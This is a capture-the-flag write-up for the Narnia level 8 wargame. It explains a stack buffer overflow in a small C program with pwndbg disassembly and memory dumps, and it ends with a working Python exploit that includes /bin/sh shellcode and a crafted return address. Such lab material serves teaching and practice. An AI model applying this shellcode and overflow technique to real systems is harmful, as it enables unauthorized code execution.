Writeup
narnia8.c
content:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
What’s the deadliest bug here?
Let’s see what the func
do. We have a bok[20]
, and *blah
which is a pointer to argv[1]
. Then we copy from blah[i]
to bok[i]
until blah
is != 0. What could be wrong?
Well, if the size ok argv[1]
is bigger than 20 we have a buffer overflow, but as we will see it will not be so simple to exploit this vulnerability. Let’s try the basics.
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*19')
aaaaaaaaaaaaaaaaaaa
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*22')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*25')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*21')
aaaaaaaaaaaaaaaaaaaaa������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*20')
aaaaaaaaaaaaaaaaaaaa�������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*19')
aaaaaaaaaaaaaaaaaaa
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print "a"*80')
aaaaaaaaaaaaaaaaaaaaaa�������j���
We have unprintable characters, but why? Let’s debug with gdb :D
(gdb) source /usr/local/pwndbg/gdbinit.py
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> disass func
Dump of assembler code for function func:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: sub esp,0x18
0x08048421 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048424 <+9>: mov DWORD PTR [ebp-0x4],eax
0x08048427 <+12>: push 0x14
0x08048429 <+14>: push 0x0
0x0804842b <+16>: lea eax,[ebp-0x18]
0x0804842e <+19>: push eax
0x0804842f <+20>: call 0x8048300 <memset@plt>
0x08048434 <+25>: add esp,0xc
0x08048437 <+28>: mov DWORD PTR ds:0x80497b0,0x0
0x08048441 <+38>: jmp 0x8048469 <func+78>
0x08048443 <+40>: mov eax,ds:0x80497b0
0x08048448 <+45>: mov edx,DWORD PTR ds:0x80497b0
0x0804844e <+51>: mov ecx,edx
0x08048450 <+53>: mov edx,DWORD PTR [ebp-0x4]
0x08048453 <+56>: add edx,ecx
0x08048455 <+58>: movzx edx,BYTE PTR [edx]
0x08048458 <+61>: mov BYTE PTR [ebp+eax*1-0x18],dl
0x0804845c <+65>: mov eax,ds:0x80497b0
0x08048461 <+70>: add eax,0x1
0x08048464 <+73>: mov ds:0x80497b0,eax
0x08048469 <+78>: mov eax,ds:0x80497b0
0x0804846e <+83>: mov edx,eax
0x08048470 <+85>: mov eax,DWORD PTR [ebp-0x4]
0x08048473 <+88>: add eax,edx
0x08048475 <+90>: movzx eax,BYTE PTR [eax]
0x08048478 <+93>: test al,al
0x0804847a <+95>: jne 0x8048443 <func+40>
0x0804847c <+97>: lea eax,[ebp-0x18]
0x0804847f <+100>: push eax
0x08048480 <+101>: push 0x8048550
0x08048485 <+106>: call 0x80482e0 <printf@plt>
0x0804848a <+111>: add esp,0x8
0x0804848d <+114>: nop
0x0804848e <+115>: leave
0x0804848f <+116>: ret
End of assembler dump.
pwndbg> b *0x08048478
pwndbg> r $(python -c 'print "a" * 25')
This is how the stack looks like after the first iteration of the for
pwndbg> x/20x $esp
0xffffd684: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd694: 0x00000000 0xffffd884 0xffffd6a8 0x080484a7
0xffffd6a4: 0xffffd884 0x00000000 0xf7e2a286 0x00000002
0xffffd6b4: 0xffffd744 0xffffd750 0x00000000 0x00000000
0xffffd6c4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
and this is the stack after 20 iterations
pwndbg> x/20x $esp
0xffffd684: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd694: 0x61616161 0xffffd884 0xffffd6a8 0x080484a7
0xffffd6a4: 0xffffd884 0x00000000 0xf7e2a286 0x00000002
0xffffd6b4: 0xffffd744 0xffffd750 0x00000000 0x00000000
0xffffd6c4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
but what’s on 0xffffd884
pwndbg> x/20x 0xffffd884
0xffffd884: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd894: 0x61616161 0x61616161 0x434c0061 0x4c4c415f
0xffffd8a4: 0x5f6e653d 0x552e5355 0x382d4654 0x5f534c00
0xffffd8b4: 0x4f4c4f43 0x723d5352 0x3a303d73 0x303d6964
0xffffd8c4: 0x34333b31 0x3d6e6c3a 0x333b3130 0x686d3a36
It’s our argv[1], in fact if we continue of another step the for we will overwrite the address of argv[1]
with a 61
.
pwndbg> x/20x $esp
0xffffd684: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd694: 0x61616161 0xffffd861 0xffffd6a8 0x080484a7
0xffffd6a4: 0xffffd884 0x00000000 0xf7e2a286 0x00000002
0xffffd6b4: 0xffffd744 0xffffd750 0x00000000 0x00000000
0xffffd6c4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
But now because the address of blah is changed, we will not take copy the value 0xffffd884[21]
but we will copy 0xffffd861[21]
. In the next step it will become 0xfff6161[22]
and so on. But we will stop when we will reach an address that is not present in memory or has \x00
as value.
To exploit and gain a shell we can –>
- print
"a"
* 20 (garbage) - print the address of
argv[1]
(In this way we will not modify the pointer ofblah
) - print
"b"
* 4 (garbage) - print return address to argv[1][20+4+4+4]
- print shellcode
Exploit
import subprocess
import struct
garbage_0 = 'a' * 20
#print (buffer_address, 'a')
garbage_1 = 'b' * 4
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
buffer_address = struct.pack('I',0xffffd789 - 37) # '\x89\xd7\xff\xff'
return_address = struct.pack('I',0xffffd789 - 37 + 32)
argument = garbage_0 + buffer_address + garbage_1 + return_address + shellcode
#output = subprocess.check_output(['/narnia/narnia8 ' + argument], shell = True)
print(argument)
#print(argument, output)